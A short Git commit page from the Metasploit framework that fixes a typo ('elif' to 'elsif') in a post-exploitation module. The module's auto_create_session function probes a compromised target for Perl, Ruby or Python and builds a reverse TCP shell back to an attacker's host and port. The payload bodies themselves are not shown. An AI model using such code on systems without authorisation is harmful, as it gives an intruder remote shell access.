Typos and undefined variable

git-svn-id: file:///home/svn/framework3/trunk@14097 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Carlos Perez 2011-10-28 14:46:49 +00:00
parent 0fb9aad89e
commit de22020e6f
1 changed files with 2 additions and 2 deletions

View File

@ -75,7 +75,7 @@ class Metasploit3 < Msf::Post
# Runs a reverse tcp shell with the scripting environment found
def auto_create_session(lhost,lport)
cmd = ""
if cmd_exec("perl -v") =~ /Larry/
print_status("Perl was found on target")
cmd = perl_session(lhost,lport)
@ -86,7 +86,7 @@ class Metasploit3 < Msf::Post
cmd = ruby_session(lhost,lport)
vprint_status("Running #{cmd}")
elif cmd_exec("python -V") =~ /Python 2\.(\d)/
elsif cmd_exec("python -V") =~ /Python 2\.(\d)/
print_status("Python was found on target")
cmd = python_session(lhost,lport)
vprint_status("Running #{cmd}")